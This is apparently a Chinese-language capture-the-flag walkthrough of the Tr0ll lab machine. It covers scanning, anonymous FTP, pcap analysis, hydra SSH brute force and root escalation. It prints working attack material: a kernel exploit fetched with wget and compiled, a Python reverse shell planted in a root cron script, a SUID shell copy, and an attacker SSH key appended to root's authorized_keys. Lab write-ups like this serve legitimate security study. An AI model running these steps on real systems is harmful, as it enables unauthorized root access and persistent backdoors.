TR0ll

news2024/9/26 1:23:49

总结:提权思路上,利用内核漏洞提权;找可编辑的计划任务脚本:反弹shell;创建可执行的root文件,获取root权限;写入ssh公钥。

思路:思路是来说就是正常的思路,找ip,nmap获取信息,按经验来说看到21ftp,22ssh看到就是想到爆破了,80web页面就是来收集信息或者找有没有web漏洞。获得低权限后提权思路是看内核版本,发现自动推出说明有计划任务,找是否有计划任务可编辑脚本提权

大致流程:nmap扫c段找存活主机,发现目标;nmap收集信息;利用端口信息进行信息收集,分析流量包获取有用信息;hydra爆破;提权。

攻击机ip:10.10.10.128

nmap扫c段找存活主机:nmap -sP 10.10.10.0/24

 nmap收集信息:nmap 10.10.10.151 -A      发现开启了21 22 80 端口

发现web服务,肯定就先dirb扫一下站点目录

 然后打开网页看看有没有什么有用的信息,会发现都没有,其中有张图片打开用strings分析也没发现什么东西,就换个端口找信息

发现21端口ftp可以匿名登入,且里面有一个流量包文件有读取权限

登入ftp然后获取lol.pcap 

ftp 10.10.10.151 

账号和密码都为Anonymous登入,dir看文件目录,get是下载

到下载了lol.pcap的直接wireshark打开(不知道下载到哪了就find / -name lol.pcap) ,

然后右键直接看tcp流,

wireshark lol.pcap

右键查看tcp流,然后翻译一下,默认是直接先看tpc流id等于0的通信内容,但是这个lol.pcap文件包含了很多tcp流,所以我们要过滤其他id,然后看其中的内容获取有用的信息

id=0

 

 id=1

 id=2

 

获得有用的信息一个是 一个.txt文件 还有一个应该就是目录的的sup3rs3cr3tdirlol,分别在浏览器访问,会发现这个.txt 打不开,然后目录可以打开,然后就下载这个目录上面的roflmao文件

 用file 分析该文件,发现是一个可行的LSB文件,就直接加给权限,然后执行,发现一个可以登入的地址0x0856BF 

 进入10.10.10.151/0x0856BF ,打开文件夹,会发现一个是账号一个是密码,而密码文件夹打开是一个good job,然后用把账号文件夹的内容复制作为账号字典,hydra去爆破会发现密码不是这个good job然后用密码的文件夹名试一下,会发现可以。这里为什么会去用hydra爆破ssh的原因是这个靶场就给了3个端口,80没找到有用,21是可以匿名登入,那肯定是爆破22的ssh,正常看到ssh肯定有的思路之一就是爆破,其他的是看openssh的版本号有没有存在的漏洞,这里是直接爆破

 账号文件夹内容

 密码文件加夹内容

 

 

hydra 爆破ssh账号密码 

直接 vi  login.txt 然后把账号内容复制进去,然后esc,然后输入   :wq  保存并退出

然后 hydra -L login.txt -p Pass.txt 10.10.10.151 ssh 

会发现overflow  Pass.txt 爆破成功了

登入ssh

ssh overflow@10.10.10.151 

到这里就已经获得了overflow这个权限,下一步就是提权

提权的话  最直接的思路就是直接 看有没有内核漏洞

输入  python -c 'import pty; pty.spawn("/bin/bash")'

获取一个伪shell,方便后续输入

输入uname -a 查看内核版本

 然后用kali去找这个版本号

searchsploit Linux  3.13.0

 然后就是直接去找这个37292.c,locate 定位文件位置

 locate linux/local/37292.c

 然后可以直接复制到桌面

 然后到桌面目录,打开http服务器

python3 -m http.server 8888

 然后到ssh登入进去的伪shell里面用wget来下载桌面上的37292.c文件,这里要注意直接在伪shell的默认目录下是不允许直接wget文件的,所以我们要到tmp目录下面去

cd tmp

wget http://10.10.10.151:8888/37292.c    (这里我攻击机的ip是10.10.10.128,开启了8888,且该目录下直接有37292.c  所以是这么写)
 

 

然后就是编译37292.c  然后执行就提权成功了

 gcc 37292.c -o test

./test

到这里,第一种最简单直观的提权就结束了

后面讲另外的提权方法:

我们会发现我们这个overf获得的shell会在一段时候后自动断开连接像这样,说明可能有计划任务在跑,所以这就是另一个思路了,把能获取shell命令的代码放进去跑。这个思路下,第一步我们要干的是先去看cronlog日志,然后找有没有可以编辑的脚本文件,然后去修改这个可以编辑的脚本内容。

 找cronlog

find / -name cronlog 2>/dev/null     

查看cat cronlog,发现cleaner.py脚本

cat cleaner.py 脚本

 试一下能不能vi 直接改这个脚本发现不行

然后用nano 修改这个脚本。

到这里可以修改脚本内容后,就欧三种思路可以都提权获取

一种是写脚本反弹shell,我们攻击机监听即可  

一种是创建可执行root权限文件,间接获取root权限

一种是写入攻击机的ssh公钥,然后攻击机直接用私钥连接

修改脚本内容反弹shell:

攻击机先: nc -tvlp 9999

 nano /lib/log/cleaner.py  编辑脚本讲内容改为

#!/usr/bin/python
def con():
    import socket, time,pty, os
    host='攻击机ip'
    port=攻击机监听端口
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host,port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
con()

然后crtl x退出   然后按y选择保存修改 然后回车  等待脚本被执行即可

 脚本执行连接攻击机,然后我们就提权成功了

 

修改脚本内容创建可执行root权限文件提权:

一样的 nano /lib/log/cleaner.py编辑,然后修改脚本为

#!/usr/bin/env python
import os
import sys
try:
   os.system('cp /bin/sh /tmp/test2')
   os.system('chmod u+s /tmp/test2')
except:
      sys.exit()
 

然后去到tmp下面执行这个test2文件就行 

编辑脚本写入攻击机ssh公钥提权:

先获取我们攻击机的ssh公钥

ssh-keygen   然后一直回车就行

然后到目录去找ssh公钥

cd ~/.ssh
cat id_rsa.pub

 然后将 id_rsa.pub 这个文件的内容加入到一下代码

mkdir /root/.ssh; chmod 775 .ssh; echo "加入id_rsa.pub的内容" >> /root/.ssh/authorized_keys

然后就是修改脚本内容 把os.system('上述代码串')

 稍等脚本生效,然后用攻击机的私钥直接去连接10.10.10.151就行了

ssh -i /root/.ssh/id_rsa root@10.10.10.151

-i 攻击机私钥和id_rsa.pub 在一个文件夹里   这里@前注意用你的用户去登入了,现在是用我们自己攻击的账号的私钥去连接10.10.10.151了 和那个overflow用户无关了

 

综上就是这个Tr0ll靶场的知识点了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/495201.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【c语言】字符串复制 | API仿真

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; 给大家跳段街舞感谢支持&#xff01;ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ …

CentOS 7.x 安装 JDK1.8

1. JDK 下载 地址: Java Archive | Oracle 我这里选择的版本为 jdk-8u361-linux-x64.rpm 将 JDK 安装包通过 ftp 工具上传到 CentOS 系统&#xff0c;我这里使用 WinSCP 上传到 /usr/java 目录下(目录不存在的话就新建)。 2、进入 CentOS 终端&#xff0c;查看是否有默认安装…

Java简介和基础语法

文章目录 一、java简介二、Java 基础语法总结 一、java简介 通过一个简单的实例来展示 Java 编程&#xff0c;创建文件 HelloWorld.java(文件名需与类名一致), 代码如下&#xff1a; public class HelloWorld {public static void main(String[] args) {System.out.println(&q…

pycharm 安装gerrit插件

安装Gerrit File -> Settings -> Plugins&#xff0c;搜索Gerrit&#xff0c;如果没有安装&#xff0c;就选择install&#xff0c;安装完成后重启IDEA 配置Gerrit File -> Settings -> Version Control&#xff0c;输入Gerrit web-ui登录地址以及账号密码 Passow…

c#笔记-方法

方法 方法定义 方法可以将一组复杂的代码进行打包。 声明方法的语法是返回类型 方法名 括号 方法体。 void Hello1() {for (int i 0; i < 10; i){Console.WriteLine("Hello");} }调用方法 方法的主要特征就是他的括号。 调用方法的语法是方法名括号。 He…

K8S:K8S自动化运维容器化(Docker)集群程序

目录 一、K8S概述 1、什么是K8S 2、为什么要用K8S 3、作用及功能 二、K8S的特性 1、弹性伸缩 2、自我修复 3、服务发现和复制均衡 5、自动发布和回滚 6、集中化配置管理和秘钥管理 7、存储编排 8、任务批量处理运行 三、K8S的集群架构 四、K8S的核心组件 1、Mast…

Type-C接口供电小功率设备解决方案

随着Type-C接口的普及&#xff0c;全球使用Type-C接口的设备在稳步上升&#xff0c;因为它更方便&#xff0c;更安全&#xff0c;更环保&#xff0c;如今在生活中可谓是随处可见。 那么在传统的小功率设备大部分还在使用DC圆头供电&#xff0c;虽然成本很低&#xff0c;但是此类…

数字化转型利器,云表无代码“打破”工业软件开发壁垒

近年来&#xff0c;“数字化”概念成为了各行各业的“热词”&#xff0c;作为与信息化程度高度相关的工业软件&#xff0c;在数字化转型中扮演着不可或缺的角色。据 Gartner最新研究数据显示&#xff0c;目前中国工业软件市场规模已经达到了380亿美元&#xff0c;但与发达国家相…

ArcMap最短路径分析和网络数据集的构建

打断相交点 1.单击【编辑器】工具条上的编辑工具。 2.选择要在交叉点处进行分割的线要素。 3.单击【高级编辑】工具条上的打断相交线工具。 4.默认或可输入拓扑容差。 5.单击确定。 结果:所选线在相交处分割为多个新要素。“打断”操作还会移除叠置的线段-例如&#xff0…

HR如何快速提升工作效率?

从招聘到用人管理各个环节&#xff0c;人力资源部门都是公司最重要的职能部门之一&#xff0c;hr的日常工作涉及众多复杂繁琐的内容&#xff0c;比如人员招聘&#xff0c;考核培训等都离不开大量的数据整理和录入操作&#xff0c;但那些和“人”相关的数据信息&#xff0c;经常…

2023.03 青少年机器人技术等级考试理论综合试卷(四级)

2023 年 3 月青少年机器人技术等级考试理论综合试卷&#xff08;四级&#xff09; 一、单选题(共 20 题&#xff0c;共 80 分) 1. Arduino C 语言中&#xff0c;前缀 0x 表示的数制是&#xff1f;&#xff08;D &#xff09; A. 二进制 B. 八进制 C. 十进制 D. 十六进制 2. Ard…

从0学会Spring框架

文章目录 1. 对Spring的理解2. Spring IoC3. DI4. 如何创建一个Spring项目4.1 创建一个Maven项目4.2 添加Spring框架支持4.3 添加启动类 5. 存储Bean对象5.1 添加配置文件5.2 创建Bean对象5.3 注册Bean 6. 获取并使用Bean对象7. 更简单存储Bean对象的方式7.1 前置工作7.2 添加存…

VScode里的终端,Anaconda下的命令提示符和 PowerShell的联系

目录 PowerShell和CMD的区别Anaconda Prompt 和 Anaconda PowerShell Prompt取消默认激活conda中的base环境在conda里设置取消默认激活base环境在VScode里设置取消默认激活base环境手动控制进出base环境 PowerShell和CMD的区别 PowerShell和CMD都是命令行界面工具&#xff0c;…

SuperMap GIS基础产品桌面GIS FAQ集锦(2)

SuperMap GIS基础产品桌面GIS FAQ集锦&#xff08;2&#xff09; 【iDesktop】【10.2.1】【11.0.1】 请问在 iDesktop 桌面端对线数据集进行打断线操作后&#xff0c;打断的线不显示是什么原因呢&#xff1f; 【问题原因】 当时操作的线数据集空间索引存在异常&#xff0c;导致…

C++之数据对齐

数据对齐 • 总说&#xff1a; ○ 对齐方式&#xff1a;表示的是一个类型的对象存放的内存地址应满足的条件 ○ 好处&#xff1a;对齐的数据在读写上有性能优势 ○ 对于不对齐的结构体&#xff0c;编译器会自动补齐以提高CPU的寻址效率 • 数据对齐&#xff1a;(四个函数/描述符…

【shell】shell结程规范与变量

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、shell脚本概述1.Shell脚本应用场景2.Shell的作用3.用户的登录Shell 二、Shell编程规范1.she11脚本的构成2.运行shel1脚本3.重定向与管道操作1.交互式硬件设备2.…

学习CTF一定要知道的网站!快快收藏!

今天在这里给大家介绍一些好用的学习网站&#xff1a; 首先是CTF做题平台&#xff1a; •BUUCTF •攻防世界 •ctf.show •catf1ag.cn •ctfhub.com •ctf.wgpsec.org •ctf-wiki.org •ctftime.org 学习论坛&#xff1a; •https://www.52pojie.cn/ •https://www.freebuf.…

【nvm 安装】使用nvm管理node版本,安装步骤

一、下载nvm 下载链接&#xff1a;Releases coreybutler/nvm-windows GitHub 建议下载安装版的&#xff0c;非安装版还需要额外配置环境变量。 二、安装 注意 &#xff1a; 都在说安装之前需要删除node版本&#xff0c;避免冲突&#xff0c;很听话的我删除了&#xff0c;…

每日学术速递5.4

CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CV 1.IndoorSim-to-OutdoorReal: Learning to Navigate Outdoors without any Outdoor Experience 标题&#xff1a;IndoorSim-to-OutdoorReal&#xff1a;在没有任何户外经验的情况下学…

Linux系统中ARMv8架构u-boot启动流程分析

目录 ​ 本文基于 armv8 架构来对 u-boot 进行启动流程分析。 1 概述 2 armv8 u-boot的启动 3 u-boot源码整体结构和一些编译配置方式 3.1 编译配置方式 3.2 u-boot源码结构 4 u-boot armv8链接脚本 4.1 u-boot.lds 4.2 u-boot-spl.lds 本文基于 armv8 架构来对 u-bo…